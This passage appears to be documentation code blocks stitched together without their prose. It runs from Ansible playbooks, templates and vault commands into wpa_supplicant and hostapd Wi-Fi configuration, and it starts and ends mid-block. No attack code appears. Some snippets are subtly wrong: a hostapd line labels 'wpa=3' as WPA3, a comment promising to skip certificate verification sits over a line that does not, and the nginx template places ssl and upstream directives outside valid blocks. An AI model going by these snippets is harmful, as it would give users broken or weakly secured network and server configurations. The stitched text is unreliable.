    - name: Multiple conditions (OR)
      apt:
        name: nginx
        state: present
      when: ansible_distribution == "Ubuntu" or ansible_distribution == "Debian"

---
- name: Loop examples
  hosts: all
  tasks:
    # Simple loop
    - name: Install multiple packages
      apt:
        name: "{{ item }}"
        state: present
      loop:
        - nginx
        - postgresql
        - redis-server

    # Loop with dictionary
    - name: Create users
      user:
        name: "{{ item.name }}"
        groups: "{{ item.groups }}"
        state: present
      loop:
        - { name: 'alice', groups: 'developers' }
        - { name: 'bob', groups: 'admins' }

    # Loop with complex data
    - name: Create directories
      file:
        path: "{{ item.path }}"
        state: directory
        owner: "{{ item.owner }}"
        mode: "{{ item.mode }}"
      loop:
        - { path: '/opt/app1', owner: 'deploy', mode: '0755' }
        - { path: '/opt/app2', owner: 'www-data', mode: '0750' }

{# templates/nginx.conf.j2 #}
user {{ nginx_user }};
worker_processes {{ ansible_processor_vcpus }};

events {
    worker_connections 1024;
}

http {
    server {
        listen {{ nginx_port }};
        server_name {{ ansible_hostname }};

        location / {
            root /var/www/html;
            index index.html;
        }
    }
}

{# Conditional content #}
{% if enable_ssl %}
    ssl on;
    ssl_certificate {{ ssl_cert_path }};
{% endif %}

{# Loop in template #}
{% for server in backend_servers %}
    upstream backend_{{ loop.index }} {
        server {{ server.host }}:{{ server.port }};
    }
{% endfor %}

# Create encrypted file
ansible-vault create secrets.yml

# Edit encrypted file
ansible-vault edit secrets.yml

# Encrypt existing file
ansible-vault encrypt vars.yml

# Decrypt file
ansible-vault decrypt vars.yml

# View encrypted file
ansible-vault view secrets.yml

# Change password
ansible-vault rekey secrets.yml

# Use vault in playbook
ansible-playbook playbook.yml --ask-vault-pass

# Use password file
ansible-playbook playbook.yml --vault-password-file ~/.vault_pass

# Multiple vaults
ansible-playbook playbook.yml --vault-id prod@prompt --vault-id dev@~/.vault_pass_dev

# secrets.yml (encrypted)
db_password: "super_secret_password"
api_key: "abc123xyz789"

# playbook.yml
---
- name: Deploy with secrets
  hosts: webservers
  vars_files:
    - secrets.yml
  tasks:
    - name: Configure database
      template:
        src: db_config.j2
        dest: /etc/app/db_config.conf

# Recommended directory structure
site.yml                # Master playbook
webservers.yml          # Webserver playbook
dbservers.yml           # Database playbook

inventory/
├── production/
│   ├── hosts
│   └── group_vars/
│       ├── all.yml
│       ├── webservers.yml
│       └── dbservers.yml
└── staging/
    ├── hosts
    └── group_vars/

roles/
├── common/
├── nginx/
├── postgresql/
└── app/

group_vars/
├── all.yml
├── webservers.yml
└── dbservers.yml

host_vars/
└── web1.example.com.yml

# 1. Use names for all tasks
- name: Install nginx
  apt:
    name: nginx
    state: present

# 2. Use become appropriately
- name: System task
  become: yes
  apt:
    name: nginx
    state: present

# 3. Validate configurations
- name: Deploy nginx config
  template:
    src: nginx.conf.j2
    dest: /etc/nginx/nginx.conf
    validate: 'nginx -t -c %s'

# 4. Use check mode compatible tasks
- name: Check if service exists
  stat:
    path: /etc/systemd/system/myapp.service
  register: service_file
  check_mode: no

# 5. Add tags
- name: Install packages
  apt:
    name: nginx
    state: present
  tags: ['install', 'packages']

# 6. Use blocks for error handling
- block:
    - name: Risky operation
      command: /usr/bin/risky_command
  rescue:
    - name: Handle error
      debug:
        msg: "Command failed, handling gracefully"
  always:
    - name: Cleanup
      file:
        path: /tmp/temp_file
        state: absent

---
- name: Configure web servers
  hosts: webservers
  become: yes
  vars:
    app_name: myapp
    app_user: www-data

  tasks:
    - name: Update apt cache
      apt:
        update_cache: yes
        cache_valid_time: 3600

    - name: Install packages
      apt:
        name:
          - nginx
          - python3-pip
          - git
        state: present

    - name: Create app directory
      file:
        path: "/var/www/{{ app_name }}"
        state: directory
        owner: "{{ app_user }}"
        mode: '0755'

    - name: Deploy nginx config
      template:
        src: nginx.conf.j2
        dest: /etc/nginx/sites-available/{{ app_name }}
      notify: reload nginx

    - name: Enable site
      file:
        src: /etc/nginx/sites-available/{{ app_name }}
        dest: /etc/nginx/sites-enabled/{{ app_name }}
        state: link
      notify: reload nginx

    - name: Start nginx
      service:
        name: nginx
        state: started
        enabled: yes

  handlers:
    - name: reload nginx
      service:
        name: nginx
        state: reloaded

---
- name: Deploy application
  hosts: webservers
  serial: 1  # Rolling update
  max_fail_percentage: 25

  pre_tasks:
    - name: Remove from load balancer
      haproxy:
        state: disabled
        host: "{{ ansible_hostname }}"

  tasks:
    - name: Deploy application
      git:
        repo: https://github.com/user/app.git
        dest: /opt/app
        version: "{{ app_version }}"

    - name: Install dependencies
      pip:
        requirements: /opt/app/requirements.txt

    - name: Restart app service
      service:
        name: myapp
        state: restarted

    - name: Wait for app to start
      wait_for:
        port: 8080
        delay: 5
        timeout: 30

  post_tasks:
    - name: Add to load balancer
      haproxy:
        state: enabled
        host: "{{ ansible_hostname }}"

# Check syntax
ansible-playbook playbook.yml --syntax-check

# List tasks
ansible-playbook playbook.yml --list-tasks

# List hosts
ansible-playbook playbook.yml --list-hosts

# Dry run
ansible-playbook playbook.yml --check

# Debug mode
ansible-playbook playbook.yml -vvv

# Start at specific task
ansible-playbook playbook.yml --start-at-task="Install nginx"

# Step through playbook
ansible-playbook playbook.yml --step

# Gather facts only
ansible all -m setup --tree /tmp/facts

┌─────────────────────────────────────┐
│        User Space                   │
│                                     │
│  ┌──────────┐      ┌──────────┐   │
│  │  wpa_cli │      │ NetworkMgr│   │
│  └────┬─────┘      └────┬──────┘   │
│       │                 │           │
│       └────┬────────────┘           │
│            │ Control socket         │
│       ┌────▼──────────────┐         │
│       │  wpa_supplicant   │         │
│       └────┬──────────────┘         │
│            │ nl80211/WEXT           │
└────────────┼─────────────────────────┘
             │
┌────────────▼─────────────────────────┐
│        Kernel Space                  │
│  ┌──────────────────────────┐        │
│  │  cfg80211 / mac80211     │        │
│  └──────────┬───────────────┘        │
│             │                        │
│  ┌──────────▼───────────────┐        │
│  │    WiFi Driver           │        │
│  └──────────┬───────────────┘        │
└─────────────┼──────────────────────────┘
              │
       ┌──────▼──────┐
       │ WiFi Hardware│
       └─────────────┘

sudo apt-get update
sudo apt-get install wpasupplicant

# Verify installation
wpa_supplicant -v

sudo dnf install wpa_supplicant

# Or for older systems
sudo yum install wpa_supplicant

sudo pacman -S wpa_supplicant

# Download
git clone git://w1.fi/srv/git/hostap.git
cd hostap/wpa_supplicant

# Configure
cp defconfig .config
# Edit .config to enable features

# Build
make

# Install
sudo make install

# Global settings
ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=netdev
update_config=1
country=US

# Network configurations
network={
    ssid="MyNetwork"
    psk="password123"
}

# Secure the configuration file
sudo chmod 600 /etc/wpa_supplicant/wpa_supplicant.conf
sudo chown root:root /etc/wpa_supplicant/wpa_supplicant.conf

# Control interface for wpa_cli
ctrl_interface=/var/run/wpa_supplicant

# Group that can access control interface
ctrl_interface_group=netdev

# Allow wpa_supplicant to update configuration
update_config=1

# Country code (affects regulatory domain)
country=US

# AP scanning mode
# 0 = driver takes care of scanning
# 1 = wpa_supplicant controls scanning (default)
# 2 = like 1, but use security policy
ap_scan=1

# Fast reauth for 802.1X
fast_reauth=1

# Enable P2P support
p2p_disabled=0

# Basic usage
sudo wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant/wpa_supplicant.conf

# Options:
# -B: Run in background (daemon mode)
# -i: Network interface
# -c: Configuration file
# -D: Driver (nl80211, wext, etc.) - usually auto-detected
# -d: Enable debug output
# -dd: More verbose debug

# Foreground with debug
sudo wpa_supplicant -i wlan0 -c /etc/wpa_supplicant/wpa_supplicant.conf -d

# Even more verbose
sudo wpa_supplicant -i wlan0 -c /etc/wpa_supplicant/wpa_supplicant.conf -dd

# Find process
ps aux | grep wpa_supplicant

# Kill process
sudo killall wpa_supplicant

# Or using systemd
sudo systemctl stop wpa_supplicant@wlan0

# 1. Bring interface up
sudo ip link set wlan0 up

# 2. Start wpa_supplicant
sudo wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant/wpa_supplicant.conf

# 3. Wait for connection (check with wpa_cli)
wpa_cli -i wlan0 status

# 4. Get IP address
sudo dhclient wlan0
# Or
sudo dhcpcd wlan0

network={
    ssid="MyWiFi"
    psk="MyPassword123"
    key_mgmt=WPA-PSK
    priority=1
}

# Generate PSK hash
wpa_passphrase "MyWiFi" "MyPassword123"

# Output:
network={
    ssid="MyWiFi"
    #psk="MyPassword123"
    psk=0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
}

network={
    ssid="MyWiFi"
    psk=0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
    key_mgmt=WPA-PSK
}

network={
    ssid="MyWiFi-WPA3"
    psk="MyPassword123"
    key_mgmt=SAE
    ieee80211w=2  # Required for WPA3 (PMF)
}

network={
    ssid="OpenWiFi"
    key_mgmt=NONE
}

network={
    ssid="HiddenSSID"
    scan_ssid=1  # Enable active scanning
    psk="password"
    key_mgmt=WPA-PSK
}

network={
    ssid="OldNetwork"
    key_mgmt=NONE
    wep_key0="1234567890"
    wep_tx_keyidx=0
}

# Home network - highest priority
network={
    ssid="HomeWiFi"
    psk="homepassword"
    priority=10
}

# Work network
network={
    ssid="WorkWiFi"
    psk="workpassword"
    priority=5
}

# Coffee shop - lowest priority
network={
    ssid="CoffeeShop"
    key_mgmt=NONE
    priority=1
}

# Connect only to specific AP
network={
    ssid="MyWiFi"
    bssid=00:11:22:33:44:55
    psk="password"
}

# Show status
wpa_cli -i wlan0 status

# Scan for networks
wpa_cli -i wlan0 scan
wpa_cli -i wlan0 scan_results

# List configured networks
wpa_cli -i wlan0 list_networks

# Add network
wpa_cli -i wlan0 add_network
# Returns: 0 (network ID)

# Set network parameters
wpa_cli -i wlan0 set_network 0 ssid '"MyWiFi"'
wpa_cli -i wlan0 set_network 0 psk '"password"'

# Enable network
wpa_cli -i wlan0 enable_network 0

# Select network
wpa_cli -i wlan0 select_network 0

# Save configuration
wpa_cli -i wlan0 save_config

# Remove network
wpa_cli -i wlan0 remove_network 0

# Disconnect
wpa_cli -i wlan0 disconnect

# Reconnect
wpa_cli -i wlan0 reconnect

# Reassociate
wpa_cli -i wlan0 reassociate

# One-liner to connect
wpa_cli -i wlan0 <<EOF
add_network
set_network 0 ssid "MyWiFi"
set_network 0 psk "password"
enable_network 0
save_config
quit
EOF

wpa_cli -i wlan0

wpa_cli v2.9
Copyright (c) 2004-2019, Jouni Malinen <j@w1.fi> and contributors

Interactive mode

> status
bssid=00:11:22:33:44:55
freq=2437
ssid=MyWiFi
id=0
mode=station
pairwise_cipher=CCMP
group_cipher=CCMP
key_mgmt=WPA2-PSK
wpa_state=COMPLETED
ip_address=192.168.1.100
address=aa:bb:cc:dd:ee:ff

> scan
OK
> scan_results
bssid / frequency / signal level / flags / ssid
00:11:22:33:44:55       2437    -45     [WPA2-PSK-CCMP][ESS]    MyWiFi
aa:bb:cc:dd:ee:ff       2462    -67     [WPA2-PSK-CCMP][ESS]    NeighborWiFi

> quit

status                  - Show connection status
scan                    - Trigger network scan
scan_results            - Show scan results
list_networks           - List configured networks
select_network <id>     - Select network
enable_network <id>     - Enable network
disable_network <id>    - Disable network
remove_network <id>     - Remove network
add_network             - Add new network
set_network <id> <var> <value> - Set network parameter
save_config             - Save configuration
disconnect              - Disconnect from AP
reconnect               - Reconnect to AP
reassociate             - Force reassociation
terminate               - Terminate wpa_supplicant
quit                    - Exit wpa_cli

network={
    ssid="DualBandWiFi"
    psk="password"
    # Prefer 5 GHz
    freq_list=5180 5200 5220 5240 5260 5280 5300 5320
}

# Global setting
# 0 = CAM (Constantly Awake Mode)
# 1 = PS mode (default)
# 2 = PS mode with max power saving
power_save=1

network={
    ssid="EnterpriseWiFi"
    psk="password"
    # Fast roaming (802.11r)
    key_mgmt=FT-PSK
    # Proactive key caching
    proactive_key_caching=1
    # BSS transition management
    bss_transition=1
}

# Per-network MAC randomization
network={
    ssid="PublicWiFi"
    key_mgmt=NONE
    mac_addr=1  # Random MAC per network
}

# Global setting
mac_addr=1
# 0 = Use permanent MAC
# 1 = Random MAC per network
# 2 = Random MAC per SSID

# Disable IPv6 in wpa_supplicant
network={
    ssid="MyWiFi"
    psk="password"
    disable_ipv6=1
}

network={
    ssid="CorpWiFi"
    key_mgmt=WPA-EAP
    eap=PEAP
    identity="username@domain.com"
    password="userpassword"
    phase2="auth=MSCHAPV2"
    # Certificate verification
    ca_cert="/etc/ssl/certs/ca-bundle.crt"
    # Or skip verification (insecure!)
    # ca_cert="/etc/ssl/certs/ca-certificates.crt"
}

network={
    ssid="SecureCorpWiFi"
    key_mgmt=WPA-EAP
    eap=TLS
    identity="user@company.com"
    # Client certificate
    client_cert="/etc/wpa_supplicant/client.crt"
    # Private key
    private_key="/etc/wpa_supplicant/client.key"
    # Private key password
    private_key_passwd="keypassword"
    # CA certificate
    ca_cert="/etc/wpa_supplicant/ca.crt"
}

network={
    ssid="UniversityWiFi"
    key_mgmt=WPA-EAP
    eap=TTLS
    identity="student@university.edu"
    password="studentpass"
    phase2="auth=PAP"
    ca_cert="/etc/ssl/certs/ca-bundle.crt"
}

network={
    ssid="eduroam"
    key_mgmt=WPA-EAP
    eap=PEAP
    identity="username@institution.edu"
    password="password"
    phase2="auth=MSCHAPV2"
    ca_cert="/etc/ssl/certs/ca-certificates.crt"
}

# Download CA certificate
wget https://your-ca.com/ca.crt -O /etc/wpa_supplicant/ca.crt

# Set permissions
sudo chmod 600 /etc/wpa_supplicant/ca.crt

# Convert certificate format if needed
openssl x509 -inform DER -in ca.der -out ca.pem

network={
    ssid="CorpWiFi"
    key_mgmt=WPA-EAP
    eap=PEAP
    # Anonymous outer identity
    anonymous_identity="anonymous@company.com"
    # Real identity (inner)
    identity="realuser@company.com"
    password="password"
    phase2="auth=MSCHAPV2"
    ca_cert="/etc/wpa_supplicant/ca.crt"
}

network={
    ssid="SecureWiFi"
    key_mgmt=WPA-EAP
    eap=PEAP
    identity="user@company.com"
    password="password"
    phase2="auth=MSCHAPV2"
    # Verify server domain
    domain_suffix_match="radius.company.com"
    ca_cert="/etc/wpa_supplicant/ca.crt"
}

# Global setting
ctrl_interface=/var/run/wpa_supplicant
p2p_disabled=0
device_name=MyDevice
device_type=1-0050F204-1

# Start P2P mode
wpa_cli -i wlan0 p2p_find

# Stop search
wpa_cli -i wlan0 p2p_stop_find

# Connect to peer
wpa_cli -i wlan0 p2p_connect <peer_mac> pbc

# Group formation
wpa_cli -i wlan0 p2p_group_add

# Show peers
wpa_cli -i wlan0 p2p_peers

# Interface status
ip link show wlan0

# wpa_supplicant status
wpa_cli -i wlan0 status

# Connection state
wpa_cli -i wlan0 status | grep wpa_state
# COMPLETED = connected
# SCANNING = scanning for networks
# ASSOCIATING = connecting
# DISCONNECTED = not connected

# Run in foreground with debug
sudo killall wpa_supplicant
sudo wpa_supplicant -i wlan0 -c /etc/wpa_supplicant/wpa_supplicant.conf -dd

# Check system logs
sudo journalctl -u wpa_supplicant@wlan0 -f

# dmesg for driver issues
dmesg | grep -i wifi
dmesg | grep -i wlan

# Check password
wpa_passphrase "SSID" "password"

# Verify security mode
wpa_cli -i wlan0 scan_results
# Look for [WPA2-PSK-CCMP], [WPA3-SAE], etc.

# Check logs
sudo journalctl -u wpa_supplicant@wlan0 | grep -i "auth\|fail"

# Check if interface is up
sudo ip link set wlan0 up

# Check rfkill
rfkill list
sudo rfkill unblock wifi

# Manual scan
sudo iw dev wlan0 scan | grep SSID

# Check signal strength
watch -n 1 'iw dev wlan0 link'

# Disable power management
sudo iwconfig wlan0 power off

# Check logs for errors
sudo journalctl -u wpa_supplicant@wlan0 --since "10 minutes ago"

# Check driver
lspci -k | grep -A 3 -i network
# Or for USB
lsusb
dmesg | grep -i firmware

# Reload driver
sudo modprobe -r <driver_name>
sudo modprobe <driver_name>

# Start service
sudo systemctl start wpa_supplicant@wlan0

# Enable on boot
sudo systemctl enable wpa_supplicant@wlan0

# Status
sudo systemctl status wpa_supplicant@wlan0

# Restart
sudo systemctl restart wpa_supplicant@wlan0

[Unit]
Description=WPA supplicant daemon (interface-specific version)
Requires=sys-subsystem-net-devices-%i.device
After=sys-subsystem-net-devices-%i.device
Before=network.target
Wants=network.target

[Service]
Type=simple
ExecStart=/sbin/wpa_supplicant -c/etc/wpa_supplicant/wpa_supplicant-%I.conf -i%I

[Install]
WantedBy=multi-user.target

[Match]
Name=wlan0

[Network]
DHCP=yes

sudo systemctl enable systemd-networkd
sudo systemctl enable wpa_supplicant@wlan0
sudo systemctl start systemd-networkd
sudo systemctl start wpa_supplicant@wlan0

# Generate PSK hash instead of plaintext
wpa_passphrase "SSID" "password" | sudo tee -a /etc/wpa_supplicant/wpa_supplicant.conf

sudo chmod 600 /etc/wpa_supplicant/wpa_supplicant.conf

network={
    ssid="MyWiFi"
    psk="password"
    key_mgmt=SAE WPA-PSK  # Try WPA3, fall back to WPA2
    ieee80211w=1  # Optional PMF
}

network={
    ssid="CorpWiFi"
    key_mgmt=WPA-EAP
    ca_cert="/path/to/ca.crt"
    domain_suffix_match="radius.company.com"
}

# Disable P2P if not needed
p2p_disabled=1

# Disable WPS
wps_disabled=1

# For performance (disable power save)
power_save=0

# For battery (enable power save)
power_save=2

network={
    ssid="EnterpriseWiFi"
    key_mgmt=FT-PSK
    proactive_key_caching=1
}

# Higher priority = preferred
network={
    ssid="PrimaryWiFi"
    priority=10
}
network={
    ssid="BackupWiFi"
    priority=5
}

# systemd handles this automatically
sudo systemctl enable wpa_supplicant@wlan0

# Watch connection status
watch -n 2 'wpa_cli -i wlan0 status | grep -E "wpa_state|ssid|ip_address"'

sudo apt-get update
sudo apt-get install hostapd

# Verify installation
hostapd -v

sudo dnf install hostapd

# Or for older systems
sudo yum install hostapd

sudo pacman -S hostapd

# Download
git clone git://w1.fi/srv/git/hostap.git
cd hostap/hostapd

# Configure
cp defconfig .config
# Edit .config to enable features

# Build
make

# Install
sudo make install

# Interface to use
interface=wlan0

# Driver (nl80211 is modern standard)
driver=nl80211

# WiFi network name
ssid=MyAccessPoint

# WiFi mode (a = 5GHz, g = 2.4GHz)
hw_mode=g

# WiFi channel
channel=6

# WPA2 settings
wpa=2
wpa_passphrase=MySecurePassword123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP

interface=wlan0
driver=nl80211
ssid=OpenWiFi
hw_mode=g
channel=6
# No WPA settings = open network

# Interface configuration
interface=wlan0
driver=nl80211

# SSID configuration
ssid=MyWiFi
utf8_ssid=1

# Hardware mode
hw_mode=g
channel=6

# IEEE 802.11n
ieee80211n=1
wmm_enabled=1

# Security: WPA2-Personal
auth_algs=1
wpa=2
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
wpa_passphrase=SecurePassword123

# Logging
logger_syslog=-1
logger_syslog_level=2
logger_stdout=-1
logger_stdout_level=2

# Country code
country_code=US

# Max clients
max_num_sta=20

# Check configuration syntax
sudo hostapd -t /etc/hostapd/hostapd.conf

# Run in foreground (for testing)
sudo hostapd /etc/hostapd/hostapd.conf

# Run in background
sudo hostapd -B /etc/hostapd/hostapd.conf

# With debug output
sudo hostapd -d /etc/hostapd/hostapd.conf
sudo hostapd -dd /etc/hostapd/hostapd.conf  # More verbose

#!/bin/bash
# setup-ap.sh

INTERFACE=wlan0
SSID="MyAccessPoint"
PASSWORD="MyPassword123"
CHANNEL=6

# Stop existing processes
sudo killall hostapd 2>/dev/null
sudo killall dnsmasq 2>/dev/null

# Configure interface
sudo ip link set $INTERFACE down
sudo ip addr flush dev $INTERFACE
sudo ip link set $INTERFACE up
sudo ip addr add 192.168.50.1/24 dev $INTERFACE

# Create hostapd config
cat > /tmp/hostapd.conf << EOF
interface=$INTERFACE
driver=nl80211
ssid=$SSID
hw_mode=g
channel=$CHANNEL
wmm_enabled=1
auth_algs=1
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_passphrase=$PASSWORD
EOF

# Start hostapd
sudo hostapd -B /tmp/hostapd.conf

# Configure DHCP (dnsmasq)
sudo dnsmasq -C /dev/null \
    --interface=$INTERFACE \
    --dhcp-range=192.168.50.10,192.168.50.100,12h \
    --no-daemon &

# Enable NAT
sudo sysctl net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i $INTERFACE -o eth0 -j ACCEPT
sudo iptables -A FORWARD -i eth0 -o $INTERFACE -m state --state RELATED,ESTABLISHED -j ACCEPT

echo "Access Point started: SSID=$SSID"

interface=wlan0
ssid=SecureWiFi

# WPA2 with AES-CCMP
wpa=2
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
wpa_passphrase=VerySecurePassword123

# Optional: require PMF (Protected Management Frames)
ieee80211w=1

interface=wlan0
ssid=WPA3WiFi

# WPA3-Personal (SAE)
wpa=2
wpa_key_mgmt=SAE
rsn_pairwise=CCMP
sae_password=SecureWPA3Password

# PMF is required for WPA3
ieee80211w=2

# SAE-specific settings
sae_pwe=2
sae_groups=19 20 21

interface=wlan0
ssid=TransitionWiFi

# Both WPA2 and WPA3
wpa=2
wpa_key_mgmt=WPA-PSK SAE
rsn_pairwise=CCMP

# For WPA2
wpa_passphrase=Password123

# For WPA3
sae_password=Password123

# PMF optional (required for WPA3 clients)
ieee80211w=1

interface=wlan0
ssid=EnterpriseWiFi

# WPA2-Enterprise
wpa=2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP

# IEEE 802.1X
ieee8021x=1

# RADIUS server configuration
auth_server_addr=192.168.1.10
auth_server_port=1812
auth_server_shared_secret=radiussecret

# Optional: Accounting server
acct_server_addr=192.168.1.10
acct_server_port=1813
acct_server_shared_secret=radiussecret

# EAP configuration
eap_server=0
eapol_key_index_workaround=0

interface=wlan0
ssid=HiddenNetwork
# Hide SSID in beacons
ignore_broadcast_ssid=1

wpa=2
wpa_passphrase=password

interface=wlan0
ssid=FilteredWiFi

# MAC address ACL
macaddr_acl=1
# 0 = accept unless in deny list
# 1 = deny unless in accept list
# 2 = use external RADIUS

# Accept list
accept_mac_file=/etc/hostapd/accept.mac

# Deny list (if macaddr_acl=0)
deny_mac_file=/etc/hostapd/deny.mac

wpa=2
wpa_passphrase=password

00:11:22:33:44:55
aa:bb:cc:dd:ee:ff

# Primary interface
interface=wlan0
driver=nl80211
ctrl_interface=/var/run/hostapd

# Channel configuration (shared by all BSS)
hw_mode=g
channel=6
ieee80211n=1

# Primary SSID
ssid=MainWiFi
wpa=2
wpa_passphrase=MainPassword

# Multiple BSSs
bss=wlan0_0
ssid=GuestWiFi
wpa=2
wpa_passphrase=GuestPassword
# Isolate guest clients
ap_isolate=1

bss=wlan0_1
ssid=IoTWiFi
wpa=2
wpa_passphrase=IoTPassword

interface=wlan0
ssid=IsolatedWiFi

# Prevent clients from communicating with each other
ap_isolate=1

wpa=2
wpa_passphrase=password

interface=wlan0
driver=nl80211

# 5 GHz band
hw_mode=a
channel=36

# Channel width
# HT40+ = 40 MHz (channels 36,40)
# VHT80 = 80 MHz
# VHT160 = 160 MHz
vht_oper_chwidth=1
vht_oper_centr_freq_seg0_idx=42

ssid=5GHz_WiFi
wpa=2
wpa_passphrase=password

interface=wlan0
ssid=WPS_WiFi

wpa=2
wpa_passphrase=password

# Enable WPS
wps_state=2
eap_server=1
# Device information
device_name=Linux_AP
manufacturer=OpenSource
model_name=hostapd
model_number=1.0
config_methods=push_button keypad

# UUID (generate with uuidgen)
uuid=12345678-9abc-def0-1234-56789abcdef0

# Push button
hostapd_cli wps_pbc

# PIN method
hostapd_cli wps_pin any 12345670

# Create bridge
sudo ip link add name br0 type bridge
sudo ip link set br0 up

# Add Ethernet to bridge
sudo ip link set eth0 master br0

# Configure bridge IP
sudo ip addr add 192.168.1.1/24 dev br0

interface=wlan0
bridge=br0
driver=nl80211

ssid=BridgedWiFi
hw_mode=g
channel=6

wpa=2
wpa_passphrase=password

#!/bin/bash
# bridge-ap.sh

WLAN=wlan0
ETH=eth0
BRIDGE=br0

# Create bridge
sudo ip link add name $BRIDGE type bridge
sudo ip link set $BRIDGE up

# Add Ethernet
sudo ip link set $ETH down
sudo ip addr flush dev $ETH
sudo ip link set $ETH master $BRIDGE
sudo ip link set $ETH up

# Configure bridge
sudo ip addr add 192.168.1.1/24 dev $BRIDGE

# hostapd config with bridge
cat > /tmp/hostapd-bridge.conf << EOF
interface=$WLAN
bridge=$BRIDGE
driver=nl80211
ssid=BridgedAP
hw_mode=g
channel=6
wpa=2
wpa_passphrase=password
EOF

# Start hostapd
sudo hostapd -B /tmp/hostapd-bridge.conf

# Start DHCP server on bridge
sudo dnsmasq --interface=$BRIDGE \
    --dhcp-range=192.168.1.100,192.168.1.200,12h

interface=wlan0
ssid=MultiVLAN_WiFi

wpa=2
wpa_passphrase=password

# Enable dynamic VLAN
dynamic_vlan=1
vlan_file=/etc/hostapd/vlan.conf

# VLAN_ID  VLAN_IFNAME
1          wlan0.1
10         wlan0.10
20         wlan0.20

interface=wlan0
ssid=Enterprise_VLAN

wpa=2
wpa_key_mgmt=WPA-EAP
ieee8021x=1

# RADIUS server
auth_server_addr=192.168.1.10
auth_server_port=1812
auth_server_shared_secret=secret

# Dynamic VLAN from RADIUS
dynamic_vlan=1
vlan_naming=1

interface=wlan0
ssid=InternalEAP_WiFi

# Use hostapd's internal EAP server
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd/hostapd.eap_user
ca_cert=/etc/hostapd/ca.pem
server_cert=/etc/hostapd/server.pem
private_key=/etc/hostapd/server-key.pem
private_key_passwd=keypassword

wpa=2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP

# Phase 1 authentication
* PEAP
"user1" MSCHAPV2 "password1" [2]
"user2" MSCHAPV2 "password2" [2]

# TLS
"client1" TLS

interface=wlan0
ssid=RADIUS_WiFi

wpa=2
wpa_key_mgmt=WPA-EAP
ieee8021x=1

# Primary RADIUS server
auth_server_addr=192.168.1.10
auth_server_port=1812
auth_server_shared_secret=sharedsecret

# Backup RADIUS server
auth_server_addr=192.168.1.11
auth_server_port=1812
auth_server_shared_secret=sharedsecret

# Accounting
acct_server_addr=192.168.1.10
acct_server_port=1813
acct_server_shared_secret=sharedsecret

# Disable internal EAP
eap_server=0

interface=wlan0
ssid=N_WiFi_2_4GHz

hw_mode=g
channel=6

# Enable 802.11n
ieee80211n=1
wmm_enabled=1

# HT capabilities
ht_capab=[HT40+][SHORT-GI-20][SHORT-GI-40][DSSS_CCK-40]

wpa=2
wpa_passphrase=password

interface=wlan0
ssid=N_WiFi_5GHz

hw_mode=a
channel=36

ieee80211n=1
wmm_enabled=1

# 40 MHz channel
ht_capab=[HT40+][SHORT-GI-20][SHORT-GI-40]

wpa=2
wpa_passphrase=password

interface=wlan0
ssid=AC_WiFi

hw_mode=a
channel=36

# 802.11n required
ieee80211n=1
ht_capab=[HT40+][SHORT-GI-20][SHORT-GI-40]

# 802.11ac
ieee80211ac=1
vht_capab=[MAX-MPDU-11454][SHORT-GI-80][TX-STBC-2BY1][RX-STBC-1]

# 80 MHz channel
vht_oper_chwidth=1
vht_oper_centr_freq_seg0_idx=42

wmm_enabled=1

wpa=2
wpa_passphrase=password

interface=wlan0
ssid=AX_WiFi

hw_mode=a
channel=36

# 802.11n
ieee80211n=1
ht_capab=[HT40+][SHORT-GI-20][SHORT-GI-40]

# 802.11ac
ieee80211ac=1
vht_oper_chwidth=1
vht_oper_centr_freq_seg0_idx=42

# 802.11ax
ieee80211ax=1
he_su_beamformer=1
he_su_beamformee=1
he_mu_beamformer=1

wmm_enabled=1

wpa=3  # WPA3
wpa_key_mgmt=SAE
sae_password=password
ieee80211w=2

# Connect to running hostapd
hostapd_cli

# Or specify interface
hostapd_cli -i wlan0

# Get status
hostapd_cli status

# List connected stations
hostapd_cli all_sta

# Disconnect a station
hostapd_cli disassociate <MAC>

# Reload configuration
hostapd_cli reload

# Enable/disable
hostapd_cli disable
hostapd_cli enable

# List all stations
hostapd_cli all_sta

# Detailed station info
hostapd_cli sta <MAC_ADDRESS>

# Example output:
# dot11RSNAStatsSTAAddress=aa:bb:cc:dd:ee:ff
# dot11RSNAStatsVersion=1
# dot11RSNAStatsSelectedPairwiseCipher=00-0f-ac-4
# dot11RSNAStatsTKIPLocalMICFailures=0
# flags=[AUTH][ASSOC][AUTHORIZED]

# Show signal strength for connected clients
for mac in $(hostapd_cli all_sta | grep ^[0-9a-f] | cut -d' ' -f1); do
    echo "Station: $mac"
    hostapd_cli sta $mac | grep signal
done

# Test configuration syntax
sudo hostapd -t /etc/hostapd/hostapd.conf

# Expected output: Configuration file: /etc/hostapd/hostapd.conf

# Run in foreground with debug
sudo systemctl stop hostapd
sudo hostapd -d /etc/hostapd/hostapd.conf

# More verbose
sudo hostapd -dd /etc/hostapd/hostapd.conf

# Check if NetworkManager is controlling interface
nmcli device status

# Unmanage interface
sudo nmcli device set wlan0 managed no

# Or disable NetworkManager for interface
# /etc/NetworkManager/NetworkManager.conf
[keyfile]
unmanaged-devices=mac:aa:bb:cc:dd:ee:ff

sudo systemctl restart NetworkManager

# Check supported channels
iw list | grep -A 20 "Frequencies:"

# Check regulatory domain
iw reg get

# Set country code
sudo iw reg set US

# Or in hostapd.conf
country_code=US
ieee80211d=1

# Check supported modes
iw list | grep -A 10 "Supported interface modes:"

# Should show:
#   * AP
#   * AP/VLAN

# If not present, hardware doesn't support AP mode

# Check logs
sudo journalctl -u hostapd -f

# Common causes:
# 1. Wrong password
# 2. Incompatible security settings
# 3. Client doesn't support WPA3
# 4. PMF issues

# Try WPA2 for compatibility
wpa=2
wpa_key_mgmt=WPA-PSK

# Check if DHCP server is running
ps aux | grep dnsmasq

# Check interface has IP
ip addr show wlan0

# Test DHCP manually
sudo dnsmasq --no-daemon --interface=wlan0 \
